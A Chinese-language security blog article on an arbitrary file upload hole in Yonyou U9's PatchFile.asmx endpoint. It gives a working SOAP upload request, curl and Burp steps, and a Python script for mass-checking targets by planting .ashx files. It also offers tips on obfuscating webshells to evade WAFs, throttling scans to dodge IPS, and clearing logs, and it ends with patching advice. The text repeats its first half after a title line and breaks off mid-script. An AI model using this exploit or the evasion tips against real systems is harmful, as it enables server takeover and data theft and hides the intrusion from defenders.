1. 项目概述一次对用友U9高危漏洞的深度剖析与实战最近在梳理企业级应用的安全风险时用友U9的PatchFile.asmx接口漏洞再次进入了我的视野。这可不是一个简单的“小问题”而是一个典型的、可直接导致服务器权限沦陷的任意文件上传漏洞。对于任何部署了用友U9系统的企业IT管理员或安全从业者来说理解这个漏洞的原理、掌握其验证方法并制定有效的防御策略是保障核心业务系统安全的重中之重。这个漏洞的利用链清晰攻击者一旦成功就能在服务器上写入任意文件比如一个WebShell后果不堪设想。今天我就结合自己多年的渗透测试和应急响应经验把这个漏洞从原理到批量验证再到防御加固给大家掰开揉碎了讲清楚。无论你是想了解漏洞细节的安全研究员还是负责系统运维的工程师这篇文章都能给你提供一套完整的、可落地的参考方案。2. 漏洞原理与接口深度解析2.1 用友U9与SOAP接口背景用友U9作为一款面向中型制造企业的ERP系统其架构复杂模块众多。为了支持丰富的客户端功能和远程调用系统内部大量使用了基于SOAP简单对象访问协议的Web Service接口。PatchFile.asmx就是这样一个接口从路径/CS/Office/AutoUpdates/可以推断它很可能隶属于“客户服务”或“协同办公”模块下的“自动更新”组件其设计初衷应该是用于接收并保存来自更新服务器的补丁文件。SOAP协议基于XML通过HTTP/HTTPS传输其请求体是一个结构化的XML信封。PatchFile.asmx接口暴露了一个名为SaveFile的方法。在理想的安全模型中此类接口应有严格的权限校验如校验调用者身份、会话Token、文件类型白名单校验、文件路径限制以及内容安全检查。然而这个漏洞的存在直接表明这些安全机制至少有一项或多项严重缺失。2.2 漏洞核心成因缺失的信任边界校验这个漏洞的本质是服务端对客户端传入的参数缺乏足够的校验和过滤。具体到SaveFile方法它接收三个关键参数binData: 文件内容的Base64编码。path: 文件保存的路径。fileName: 保存的文件名。漏洞产生的根本原因在于身份认证与授权缺失接口未验证调用者是否具有执行“保存文件”这一高危操作的合法权限。任何能够访问到该接口URL的请求者都可以调用。路径遍历未防护path参数直接拼接或用于定位保存目录攻击者可以通过传入如../这样的序列来突破预定目录将文件写入Web应用的根目录甚至系统其他敏感位置。文件类型与内容未过滤接口没有对fileName的后缀进行白名单检查例如只允许.patch,.zip等也没有对binData解码后的内容进行恶意代码检测。攻击者可以上传.ashx(ASP.NET 一般处理程序)、.aspx、.jsp等可执行脚本文件。将这三者结合一个攻击者就可以构造一个SOAP请求将一段恶意C#代码编码为Base64作为binData指定path为Web可访问目录如./表示当前目录并设置fileName为一个诸如shell.ashx的文件名。服务器端在处理时由于信任了这些参数会直接解码并写入文件从而在服务器上创建一个WebShell。注意在实际的渗透测试中path参数的值非常关键。示例中的./是相对路径其绝对路径取决于PatchFile.asmx文件在服务器上的物理位置。有时可能需要尝试../来跳转到网站根目录这需要一定的目录路径猜测。2.3 漏洞影响范围与危害评估这个漏洞的危害等级可以评定为高危或严重。其直接影响是远程代码执行。攻击者成功利用后可以完全控制服务器通过上传的WebShell执行系统命令、浏览、上传、下载、删除服务器上的任意文件。窃取核心商业数据直接访问用友U9的数据库获取客户信息、供应链数据、财务凭证等极度敏感的信息。作为内网跳板以被攻陷的服务器为据点对内网其他系统进行横向渗透扩大攻击范围。部署勒索软件或挖矿木马加密企业数据或消耗服务器资源进行非法牟利。影响范围主要取决于用友U9的版本。根据公开情报和Fofa等网络空间测绘引擎的搜索语法bodylogo-u9.png可以快速定位到互联网上暴露的、可能受影响的用友U9系统实例。对于未直接暴露在公网但存在于内网的系统一旦攻击者通过其他方式如钓鱼邮件、已攻陷的办公电脑进入内网同样面临风险。3. 漏洞验证POC的构造与手动测试理解原理后我们进入实战环节。手动验证漏洞是理解其利用过程的最佳方式。下面我将详细拆解POCProof of Concept概念验证的每一个部分。3.1 关键组件恶意负载的生成POC的核心是binData字段中的Base64编码。它对应的是一个简单的ASP.NET一般处理程序.ashx的源代码。为什么选择.ashx因为它比.aspx更轻量不需要完整的页面生命周期适合作为简单的命令执行后门。原始的C#代码如下% WebHandler LanguageC# ClassHelloWorldHandler % using System; using System.Web; public class HelloWorldHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { context.Response.ContentType text/plain; context.Response.Write(Hello, World!); } public bool IsReusable { get { return false; } } }这是一个无害的、仅输出“Hello, World!”的处理器。在真实的攻击中这里的ProcessRequest方法会被替换为接收参数并执行系统命令的恶意代码。我们需要将这段代码的完整文本包括% ... %指令进行Base64编码。可以使用在线的Base64编码工具或者使用命令行确保编码内容无误echo -n % WebHandler LanguageC# ClassHelloWorldHandler % using System; using System.Web; public class HelloWorldHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { context.Response.ContentType text/plain; context.Response.Write(Hello, World!); } public bool IsReusable { get { return false; } } } | base64得到的编码字符串就是POC中的那一长串字符。3.2 HTTP请求包的完整构造有了负载我们需要将其嵌入到一个符合SOAP格式的HTTP POST请求中。请求的构造有几个关键点URL:http://目标IP或域名/CS/Office/AutoUpdates/PatchFile.asmxHTTP方法:POST关键头部:Content-Type: text/xml; charsetutf-8 指明请求体是UTF-8编码的XML。SOAPAction: http://tempuri.org/SaveFile 这是SOAP 1.1协议中用于指定调用方法的头部对于.NET开发的Web Service至关重要必须正确。Host: 目标主机头。请求体XML SOAP Envelope: 这是请求的核心。它严格遵循SOAP 1.1的XML结构将SaveFile方法及其三个参数包装起来。一个完整的、可用于测试的请求示例如下使用上文的Base64负载POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1 Host: vulnerable.target.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Length: 898 Content-Type: text/xml; charsetutf-8 SOAPAction: http://tempuri.org/SaveFile Accept-Encoding: gzip, deflate Connection: close ?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body SaveFile xmlnshttp://tempuri.org/ binDataPCVAIFdlYkhhbmRsZXIgTGFuZ3VhZ2U9IkMjIiBDbGFzcz0iSGVsbG9Xb3JsZEhhbmRsZXIiICUCgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5XZWI7CgpwdWJsaWMgY2xhc3MgSGVsbG9Xb3JsZEhhbmRsZXIgOiBJSHR0cEhhbmRsZXIKewogICAgcHVibGljIHZvaWQgUHJvY2Vzc1JlcXVlc3QoSHR0cENvbnRleHQgY29udGV4dCkKICAgIHsKICAgICAgICBjb250ZXh0LlJlc3BvbnNlLkNvbnRlbnRUeXBlID0gInRleHQvcGxhaW4iOwogICAgICAgIGNvbnRleHQuUmVzcG9uc2UuV3JpdGUoIkhlbGxvLCBXb3JsZCEiKTsKICAgIH0KCiAgICBwdWJsaWMgYm9vbCBJc1JldXNhYmxlCiAgICB7CiAgICAgICAgZ2V0IHsgcmV0dXJuIGZhbHNlOyB9CiAgICB9Cn0/binData path.//path fileNametest_shell.ashx/fileName /SaveFile /soap:Body /soap:Envelope3.3 手动测试步骤与结果研判我们可以使用curl命令或 Burp Suite 这类工具进行手动测试。使用curl测试将上述HTTP请求保存到一个文件例如poc.txt。在命令行中执行curl -X POST http://vulnerable.target.com/CS/Office/AutoUpdates/PatchFile.asmx -H poc.txt这里假设poc.txt只包含头部和空行后的请求体实际操作中需要正确构造curl命令或使用--data-binary poc.txt并单独设置头部使用Burp Suite测试将请求包完整复制到Burp Repeater模块。发送请求。结果分析成功响应如果服务器返回一个包含SaveFileResult的XML响应且内容可能为保存的文件路径或简单的成功标识如true同时HTTP状态码为200这强烈暗示文件上传成功。HTTP/1.1 200 OK ... 其他头部 ... ?xml version1.0 encodingutf-8?soap:Envelope ...soap:BodySaveFileResponse xmlnshttp://tempuri.org/SaveFileResulttrue/SaveFileResult/SaveFileResponse/soap:Body/soap:Envelope访问验证随后立即访问上传的文件http://vulnerable.target.com/CS/Office/AutoUpdates/test_shell.ashx。如果浏览器显示“Hello, World!”则漏洞确认存在且利用成功。失败响应如果返回错误如404接口不存在、403禁止访问、500内部服务器错误可能由于路径无效或权限问题则可能目标不存在该漏洞、接口路径有变化或存在其他防护。实操心得在手动测试时第一个请求的fileName我通常会使用一个无害的后缀如.txt或如上所述的简单.ashx目的是先确认漏洞是否存在避免一上来就触发敏感的安全告警。确认漏洞存在后再考虑进一步的利用。4. 批量验证脚本的开发与实践在安全巡检或渗透测试项目中我们面对的不是单个目标而往往是成百上千个IP或域名。手动测试效率极低因此编写一个批量验证脚本是必备技能。这里我分享一个使用Python编写的、健壮性较高的批量验证POC脚本思路。4.1 脚本设计思路与核心模块脚本的核心流程是读取目标列表 - 对每个目标构造漏洞检测请求 - 发送请求并分析响应 - 判断漏洞是否存在 - 保存结果。我们需要考虑以下几个关键点目标输入支持从文件读取IP/域名列表。请求构造动态生成包含目标Host头的SOAP请求。异常处理网络超时、连接拒绝、SSL证书问题等都需要妥善处理避免因个别目标的问题导致整个脚本中断。结果判断不能仅凭HTTP 200状态码就判断漏洞存在。需要检查响应体中是否包含成功上传的标识如SaveFileResult并最好能进行二次访问验证。并发控制为了提高效率可以使用多线程或异步IO但要注意控制并发数避免对目标造成过大压力。结果输出清晰地将漏洞目标、无效目标、失败原因分类输出到文件和控制台。4.2 Python实现代码详解下面是一个基础版本单线程的Python脚本示例包含了详细的注释import requests import base64 from urllib.parse import urljoin import sys import time def check_vulnerability(target): 检测单个目标是否存在用友U9 PatchFile.asmx任意文件上传漏洞。 :param target: 目标URL如 http://192.168.1.100 或 https://example.com :return: (bool, str) 是否存在漏洞 详细信息 # 1. 构造漏洞利用的URL vuln_url urljoin(target, /CS/Office/AutoUpdates/PatchFile.asmx) # 2. 准备SOAP请求头部 headers { Host: target.split(//)[-1].split(/)[0], # 提取主机名 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Content-Type: text/xml; charsetutf-8, SOAPAction: http://tempuri.org/SaveFile, Connection: close } # 3. 准备一个无害的WebShell负载 (输出Hello World的.ashx文件) # 这是C# ASP.NET一般处理程序的源代码 ashx_code % WebHandler LanguageC# ClassHelloWorldHandler % using System; using System.Web; public class HelloWorldHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { context.Response.ContentType text/plain; context.Response.Write(Hello from Vuln Check!); } public bool IsReusable { get { return false; } } } # 将代码进行Base64编码 encoded_data base64.b64encode(ashx_code.encode(utf-8)).decode(utf-8) # 4. 构造SOAP请求体 soap_body f?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body SaveFile xmlnshttp://tempuri.org/ binData{encoded_data}/binData path.//path fileNamecheck_{int(time.time())}.ashx/fileName /SaveFile /soap:Body /soap:Envelope # 5. 发送漏洞利用请求 try: # 设置较短的超时时间避免长时间等待 resp requests.post(vuln_url, datasoap_body, headersheaders, timeout15, verifyFalse) except requests.exceptions.RequestException as e: return False, f请求失败: {e} # 6. 分析响应判断漏洞 if resp.status_code 200: # 关键判断1: 响应内容中是否包含成功标识 if SaveFileResult in resp.text: # 关键判断2: 尝试访问上传的文件进行二次验证 # 从请求中提取我们生成的文件名 # 注意这里简单处理实际文件名是动态的 check_{timestamp}.ashx # 我们需要从soap_body中解析出fileName或者根据规则拼接访问URL # 这里我们根据生成规则反向构造访问URL import re # 从soap_body中提取文件名更可靠 file_name_match re.search(rfileName(.*?)/fileName, soap_body) if file_name_match: uploaded_file file_name_match.group(1) shell_url urljoin(target, f/CS/Office/AutoUpdates/{uploaded_file}) try: shell_resp requests.get(shell_url, timeout10, verifyFalse) if shell_resp.status_code 200 and Hello from Vuln Check in shell_resp.text: return True, f漏洞存在WebShell地址: {shell_url} else: return True, f漏洞可能存在上传API返回成功但文件访问异常: {shell_resp.status_code} except: return True, 漏洞可能存在上传API返回成功但文件访问失败 return True, 漏洞可能存在上传API返回成功 else: return False, 接口可访问但未返回成功标识可能已修复或参数不正确。 elif resp.status_code 404: return False, 目标不存在404 elif resp.status_code 403: return False, 访问被禁止403 else: return False, fHTTP状态码异常: {resp.status_code} def main(target_list_file): 主函数读取文件中的目标并进行批量检测。 with open(target_list_file, r) as f: targets [line.strip() for line in f if line.strip()] print(f[*] 开始批量检测共 {len(targets)} 个目标) vulnerable [] for idx, target in enumerate(targets, 1): # 确保目标有协议头 if not target.startswith(http): target http:// target print(f[{idx}/{len(targets)}] 正在检测: {target}) is_vuln, message check_vulnerability(target) if is_vuln: print(f [] 存在漏洞详情: {message}) vulnerable.append((target, message)) else: print(f [-] 未发现漏洞: {message}) # 输出总结报告 print(\n *50) print([*] 检测完成) print(f[*] 总共检测: {len(targets)} 个目标) print(f[*] 存在漏洞: {len(vulnerable)} 个) if vulnerable: print([*] 漏洞目标列表:) for target, msg in vulnerable: print(f - {target} : {msg}) # 可选将漏洞目标保存到文件 with open(vulnerable_targets.txt, w) as f: for target, _ in vulnerable: f.write(target \n) print([*] 漏洞目标已保存至 vulnerable_targets.txt) if __name__ __main__: if len(sys.argv) ! 2: print(用法: python u9_patchfile_poc.py 目标列表文件) sys.exit(1) main(sys.argv[1])4.3 脚本使用技巧与注意事项目标列表格式每行一个目标可以是IP如192.168.1.1或域名如target.com脚本会自动补全http://协议头。建议先使用https失败再回退http的逻辑可以进一步增强脚本的健壮性。超时与重试在生产环境中网络环境复杂建议为请求添加重试机制如使用requests.adapters.HTTPAdapter设置重试。并发与速率限制使用concurrent.futures.ThreadPoolExecutor可以轻松实现多线程并发。但务必设置合理的线程数如20-50并在每个请求间添加微小延迟time.sleep(0.1)避免触发目标的速率限制或被视为DoS攻击。错误处理脚本中已包含基本的异常捕获但在并发环境下需要更精细地处理每个线程的异常确保一个线程的崩溃不会影响整体运行。合法性务必仅在您拥有书面授权测试的目标上运行此脚本。未经授权对他人系统进行漏洞扫描是违法行为。注意事项此脚本仅为教育目的演示漏洞验证的逻辑。在实际的渗透测试或安全评估中需要根据具体环境调整Payload、路径和判断逻辑。例如有些系统可能对path参数有不同要求或者Web根目录不在默认位置。5. 漏洞修复与安全加固建议验证漏洞的存在是为了最终修复它。对于系统管理员和安全工程师在确认漏洞后应立即采取行动。5.1 临时应急措施如果无法立即升级或打补丁可以采取以下临时措施阻断攻击访问控制在防火墙、WAFWeb应用防火墙或服务器的安全组策略中立即拦截对/CS/Office/AutoUpdates/PatchFile.asmx这个路径的访问。这是最快速有效的方法。文件系统权限检查PatchFile.asmx文件所在目录的NTFSWindows或文件系统权限确保应用程序池或网站运行账户对该文件只有“读取”和“执行”权限没有“写入”权限。同时确保运行账户对网站目录的写入权限被严格控制。删除危险文件立即在全网服务器上搜索近期创建的异常.ashx、.aspx、.jsp等Web脚本文件特别是位于上传目录或网站根目录下的并予以删除。同时检查系统日志、Web日志IIS日志寻找攻击痕迹。5.2 根本解决方案联系用友官方获取针对此漏洞的安全补丁并立即安装。这是最根本的解决方法。补丁通常会从代码层面修复SaveFile方法增加强身份认证和授权确保只有经过认证且具有特定权限的用户如系统管理员才能调用此接口。文件类型白名单只允许上传特定后缀如.zip,.patch的文件。路径安全校验对path参数进行规范化并严格限制防止目录遍历。内容安全检查对解码后的文件内容进行简单的恶意代码特征扫描。5.3 长期安全加固策略最小权限原则确保运行用友U9的应用程序池账户遵循最小权限原则仅拥有其运行所必需的最低权限。网络隔离将ERP这类核心业务系统部署在内网并通过VPN等方式供外部必要访问避免直接暴露在公网。如果必须开放应置于DMZ区域并做好严格的访问控制。定期更新与漏洞扫描建立软件补丁管理制度定期关注用友官方及安全社区发布的安全公告及时更新。同时定期对系统进行授权下的安全漏洞扫描和渗透测试。部署WAF在应用前端部署WAF可以有效地拦截和阻断利用此类已知漏洞的攻击payload为修复争取时间。安全开发生命周期对于企业自研或定制的模块应引入安全开发流程对所有的文件上传功能进行严格的安全设计和代码审计。6. 常见问题与排查技巧实录在实际的漏洞验证和应急响应过程中我遇到过不少坑。这里把一些典型问题和排查思路记录下来希望能帮你少走弯路。6.1 漏洞验证失败的可能原因现象可能原因排查思路返回404 Not Found1. 目标系统不是用友U9。2. U9版本不同接口路径有变化。3.AutoUpdates目录被重命名或删除。1. 使用bodylogo-u9.png等特征确认目标身份。2. 尝试目录爆破寻找其他可能的asmx接口路径。3. 检查是否有默认的U9登录页面或其他特征页面。返回403 Forbidden1. 接口设置了IP白名单或基础HTTP认证。2. IIS中对该目录设置了“请求筛选”规则禁止特定扩展名。3. 文件系统权限不足但IIS先返回了403。1. 尝试添加常见的认证头如Basic Auth但成功率低。2. 检查请求包格式是否正确特别是SOAPAction头部。3. 换用其他无害文件名如.txt测试。返回500 Internal Server Error1.path参数指定的目录不存在或不可写。2.binData的Base64编码格式错误或包含非法字符。3. 服务器端代码在处理请求时抛出未处理异常。1. 尝试不同的path值如/、./、../、../../。2. 确保Base64编码正确且Payload是完整的、可编译的C#代码。3. 查看服务器返回的详细错误信息如果配置了详细错误。返回200但无SaveFileResult1. 漏洞已修复接口增加了校验逻辑。2. 请求的SOAP命名空间或方法名不正确。3. 需要特定的会话Cookie或SOAP头。1. 尝试访问上传的文件确认是否真的失败。2. 使用工具如SoapUI尝试发现该Web Service的正确WSDL定义和调用方式。3. 先访问一个U9正常页面获取会话Cookie再携带Cookie发送漏洞利用请求。上传成功但无法访问1. 文件被写入到了非Web可访问目录。2. IIS未配置对.ashx扩展名的处理程序映射。3. 上传的文件被安全软件实时查杀删除。1. 尝试不同的path或使用目录遍历尝试写入网站根目录。2. 尝试上传.aspx或.config文件需注意内容。3. 检查服务器文件系统确认文件是否真实存在。6.2 实战中的技巧与心得“低慢”扫描在进行批量验证时一定要控制请求频率。过快的并发请求极易触发目标的WAF或IPS的防御规则导致IP被封锁。建议设置线程池并在每个请求之间加入随机延时。Payload的伪装直接上传包含明显恶意代码的WebShell很可能被主机安全软件或WAF拦截。可以尝试对Payload进行简单的混淆、编码或者先上传一个内容无害的文件如图片再通过其他漏洞如文件包含、解析漏洞将其作为代码执行。路径的猜测如果默认路径不成功需要猜测Web应用的物理路径。可以结合其他信息泄露漏洞或者尝试一些常见的路径如C:\inetpub\wwwroot\、D:\U9SOFT\等。有时path参数留空或设置为/可能会有意外效果。日志清理在授权测试中如果成功上传了WebShell在测试结束后务必记得清理自己创建的文件和可能产生的日志条目如IIS日志、Windows事件日志中的可疑条目这是职业操守的体现。法律红线我反复强调所有技术研究和测试必须在合法授权的范围内进行。未经授权攻击他人系统无论目的如何都是违法行为。技术应当用于建设与防御而非破坏。这个漏洞的挖掘和利用过程典型地反映了企业应用在面向服务的接口设计上常见的安全疏忽——过度信任客户端输入。作为防御方我们需要时刻牢记“永不信任用户输入”这一安全基本原则对所有输入进行严格的校验、过滤和规范化。而作为安全研究者或渗透测试员理解这类漏洞的模式能帮助我们更高效地发现潜在风险从而更好地守护系统安全。
用友U9高危漏洞深度剖析：任意文件上传原理、验证与防御
1. 项目概述一次对用友U9高危漏洞的深度剖析与实战最近在梳理企业级应用的安全风险时用友U9的PatchFile.asmx接口漏洞再次进入了我的视野。这可不是一个简单的“小问题”而是一个典型的、可直接导致服务器权限沦陷的任意文件上传漏洞。对于任何部署了用友U9系统的企业IT管理员或安全从业者来说理解这个漏洞的原理、掌握其验证方法并制定有效的防御策略是保障核心业务系统安全的重中之重。这个漏洞的利用链清晰攻击者一旦成功就能在服务器上写入任意文件比如一个WebShell后果不堪设想。今天我就结合自己多年的渗透测试和应急响应经验把这个漏洞从原理到批量验证再到防御加固给大家掰开揉碎了讲清楚。无论你是想了解漏洞细节的安全研究员还是负责系统运维的工程师这篇文章都能给你提供一套完整的、可落地的参考方案。2. 漏洞原理与接口深度解析2.1 用友U9与SOAP接口背景用友U9作为一款面向中型制造企业的ERP系统其架构复杂模块众多。为了支持丰富的客户端功能和远程调用系统内部大量使用了基于SOAP简单对象访问协议的Web Service接口。PatchFile.asmx就是这样一个接口从路径/CS/Office/AutoUpdates/可以推断它很可能隶属于“客户服务”或“协同办公”模块下的“自动更新”组件其设计初衷应该是用于接收并保存来自更新服务器的补丁文件。SOAP协议基于XML通过HTTP/HTTPS传输其请求体是一个结构化的XML信封。PatchFile.asmx接口暴露了一个名为SaveFile的方法。在理想的安全模型中此类接口应有严格的权限校验如校验调用者身份、会话Token、文件类型白名单校验、文件路径限制以及内容安全检查。然而这个漏洞的存在直接表明这些安全机制至少有一项或多项严重缺失。2.2 漏洞核心成因缺失的信任边界校验这个漏洞的本质是服务端对客户端传入的参数缺乏足够的校验和过滤。具体到SaveFile方法它接收三个关键参数binData: 文件内容的Base64编码。path: 文件保存的路径。fileName: 保存的文件名。漏洞产生的根本原因在于身份认证与授权缺失接口未验证调用者是否具有执行“保存文件”这一高危操作的合法权限。任何能够访问到该接口URL的请求者都可以调用。路径遍历未防护path参数直接拼接或用于定位保存目录攻击者可以通过传入如../这样的序列来突破预定目录将文件写入Web应用的根目录甚至系统其他敏感位置。文件类型与内容未过滤接口没有对fileName的后缀进行白名单检查例如只允许.patch,.zip等也没有对binData解码后的内容进行恶意代码检测。攻击者可以上传.ashx(ASP.NET 一般处理程序)、.aspx、.jsp等可执行脚本文件。将这三者结合一个攻击者就可以构造一个SOAP请求将一段恶意C#代码编码为Base64作为binData指定path为Web可访问目录如./表示当前目录并设置fileName为一个诸如shell.ashx的文件名。服务器端在处理时由于信任了这些参数会直接解码并写入文件从而在服务器上创建一个WebShell。注意在实际的渗透测试中path参数的值非常关键。示例中的./是相对路径其绝对路径取决于PatchFile.asmx文件在服务器上的物理位置。有时可能需要尝试../来跳转到网站根目录这需要一定的目录路径猜测。2.3 漏洞影响范围与危害评估这个漏洞的危害等级可以评定为高危或严重。其直接影响是远程代码执行。攻击者成功利用后可以完全控制服务器通过上传的WebShell执行系统命令、浏览、上传、下载、删除服务器上的任意文件。窃取核心商业数据直接访问用友U9的数据库获取客户信息、供应链数据、财务凭证等极度敏感的信息。作为内网跳板以被攻陷的服务器为据点对内网其他系统进行横向渗透扩大攻击范围。部署勒索软件或挖矿木马加密企业数据或消耗服务器资源进行非法牟利。影响范围主要取决于用友U9的版本。根据公开情报和Fofa等网络空间测绘引擎的搜索语法bodylogo-u9.png可以快速定位到互联网上暴露的、可能受影响的用友U9系统实例。对于未直接暴露在公网但存在于内网的系统一旦攻击者通过其他方式如钓鱼邮件、已攻陷的办公电脑进入内网同样面临风险。3. 漏洞验证POC的构造与手动测试理解原理后我们进入实战环节。手动验证漏洞是理解其利用过程的最佳方式。下面我将详细拆解POCProof of Concept概念验证的每一个部分。3.1 关键组件恶意负载的生成POC的核心是binData字段中的Base64编码。它对应的是一个简单的ASP.NET一般处理程序.ashx的源代码。为什么选择.ashx因为它比.aspx更轻量不需要完整的页面生命周期适合作为简单的命令执行后门。原始的C#代码如下% WebHandler LanguageC# ClassHelloWorldHandler % using System; using System.Web; public class HelloWorldHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { context.Response.ContentType text/plain; context.Response.Write(Hello, World!); } public bool IsReusable { get { return false; } } }这是一个无害的、仅输出“Hello, World!”的处理器。在真实的攻击中这里的ProcessRequest方法会被替换为接收参数并执行系统命令的恶意代码。我们需要将这段代码的完整文本包括% ... %指令进行Base64编码。可以使用在线的Base64编码工具或者使用命令行确保编码内容无误echo -n % WebHandler LanguageC# ClassHelloWorldHandler % using System; using System.Web; public class HelloWorldHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { context.Response.ContentType text/plain; context.Response.Write(Hello, World!); } public bool IsReusable { get { return false; } } } | base64得到的编码字符串就是POC中的那一长串字符。3.2 HTTP请求包的完整构造有了负载我们需要将其嵌入到一个符合SOAP格式的HTTP POST请求中。请求的构造有几个关键点URL:http://目标IP或域名/CS/Office/AutoUpdates/PatchFile.asmxHTTP方法:POST关键头部:Content-Type: text/xml; charsetutf-8 指明请求体是UTF-8编码的XML。SOAPAction: http://tempuri.org/SaveFile 这是SOAP 1.1协议中用于指定调用方法的头部对于.NET开发的Web Service至关重要必须正确。Host: 目标主机头。请求体XML SOAP Envelope: 这是请求的核心。它严格遵循SOAP 1.1的XML结构将SaveFile方法及其三个参数包装起来。一个完整的、可用于测试的请求示例如下使用上文的Base64负载POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1 Host: vulnerable.target.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Length: 898 Content-Type: text/xml; charsetutf-8 SOAPAction: http://tempuri.org/SaveFile Accept-Encoding: gzip, deflate Connection: close ?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body SaveFile xmlnshttp://tempuri.org/ binDataPCVAIFdlYkhhbmRsZXIgTGFuZ3VhZ2U9IkMjIiBDbGFzcz0iSGVsbG9Xb3JsZEhhbmRsZXIiICUCgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5XZWI7CgpwdWJsaWMgY2xhc3MgSGVsbG9Xb3JsZEhhbmRsZXIgOiBJSHR0cEhhbmRsZXIKewogICAgcHVibGljIHZvaWQgUHJvY2Vzc1JlcXVlc3QoSHR0cENvbnRleHQgY29udGV4dCkKICAgIHsKICAgICAgICBjb250ZXh0LlJlc3BvbnNlLkNvbnRlbnRUeXBlID0gInRleHQvcGxhaW4iOwogICAgICAgIGNvbnRleHQuUmVzcG9uc2UuV3JpdGUoIkhlbGxvLCBXb3JsZCEiKTsKICAgIH0KCiAgICBwdWJsaWMgYm9vbCBJc1JldXNhYmxlCiAgICB7CiAgICAgICAgZ2V0IHsgcmV0dXJuIGZhbHNlOyB9CiAgICB9Cn0/binData path.//path fileNametest_shell.ashx/fileName /SaveFile /soap:Body /soap:Envelope3.3 手动测试步骤与结果研判我们可以使用curl命令或 Burp Suite 这类工具进行手动测试。使用curl测试将上述HTTP请求保存到一个文件例如poc.txt。在命令行中执行curl -X POST http://vulnerable.target.com/CS/Office/AutoUpdates/PatchFile.asmx -H poc.txt这里假设poc.txt只包含头部和空行后的请求体实际操作中需要正确构造curl命令或使用--data-binary poc.txt并单独设置头部使用Burp Suite测试将请求包完整复制到Burp Repeater模块。发送请求。结果分析成功响应如果服务器返回一个包含SaveFileResult的XML响应且内容可能为保存的文件路径或简单的成功标识如true同时HTTP状态码为200这强烈暗示文件上传成功。HTTP/1.1 200 OK ... 其他头部 ... ?xml version1.0 encodingutf-8?soap:Envelope ...soap:BodySaveFileResponse xmlnshttp://tempuri.org/SaveFileResulttrue/SaveFileResult/SaveFileResponse/soap:Body/soap:Envelope访问验证随后立即访问上传的文件http://vulnerable.target.com/CS/Office/AutoUpdates/test_shell.ashx。如果浏览器显示“Hello, World!”则漏洞确认存在且利用成功。失败响应如果返回错误如404接口不存在、403禁止访问、500内部服务器错误可能由于路径无效或权限问题则可能目标不存在该漏洞、接口路径有变化或存在其他防护。实操心得在手动测试时第一个请求的fileName我通常会使用一个无害的后缀如.txt或如上所述的简单.ashx目的是先确认漏洞是否存在避免一上来就触发敏感的安全告警。确认漏洞存在后再考虑进一步的利用。4. 批量验证脚本的开发与实践在安全巡检或渗透测试项目中我们面对的不是单个目标而往往是成百上千个IP或域名。手动测试效率极低因此编写一个批量验证脚本是必备技能。这里我分享一个使用Python编写的、健壮性较高的批量验证POC脚本思路。4.1 脚本设计思路与核心模块脚本的核心流程是读取目标列表 - 对每个目标构造漏洞检测请求 - 发送请求并分析响应 - 判断漏洞是否存在 - 保存结果。我们需要考虑以下几个关键点目标输入支持从文件读取IP/域名列表。请求构造动态生成包含目标Host头的SOAP请求。异常处理网络超时、连接拒绝、SSL证书问题等都需要妥善处理避免因个别目标的问题导致整个脚本中断。结果判断不能仅凭HTTP 200状态码就判断漏洞存在。需要检查响应体中是否包含成功上传的标识如SaveFileResult并最好能进行二次访问验证。并发控制为了提高效率可以使用多线程或异步IO但要注意控制并发数避免对目标造成过大压力。结果输出清晰地将漏洞目标、无效目标、失败原因分类输出到文件和控制台。4.2 Python实现代码详解下面是一个基础版本单线程的Python脚本示例包含了详细的注释import requests import base64 from urllib.parse import urljoin import sys import time def check_vulnerability(target): 检测单个目标是否存在用友U9 PatchFile.asmx任意文件上传漏洞。 :param target: 目标URL如 http://192.168.1.100 或 https://example.com :return: (bool, str) 是否存在漏洞 详细信息 # 1. 构造漏洞利用的URL vuln_url urljoin(target, /CS/Office/AutoUpdates/PatchFile.asmx) # 2. 准备SOAP请求头部 headers { Host: target.split(//)[-1].split(/)[0], # 提取主机名 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Content-Type: text/xml; charsetutf-8, SOAPAction: http://tempuri.org/SaveFile, Connection: close } # 3. 准备一个无害的WebShell负载 (输出Hello World的.ashx文件) # 这是C# ASP.NET一般处理程序的源代码 ashx_code % WebHandler LanguageC# ClassHelloWorldHandler % using System; using System.Web; public class HelloWorldHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { context.Response.ContentType text/plain; context.Response.Write(Hello from Vuln Check!); } public bool IsReusable { get { return false; } } } # 将代码进行Base64编码 encoded_data base64.b64encode(ashx_code.encode(utf-8)).decode(utf-8) # 4. 构造SOAP请求体 soap_body f?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body SaveFile xmlnshttp://tempuri.org/ binData{encoded_data}/binData path.//path fileNamecheck_{int(time.time())}.ashx/fileName /SaveFile /soap:Body /soap:Envelope # 5. 发送漏洞利用请求 try: # 设置较短的超时时间避免长时间等待 resp requests.post(vuln_url, 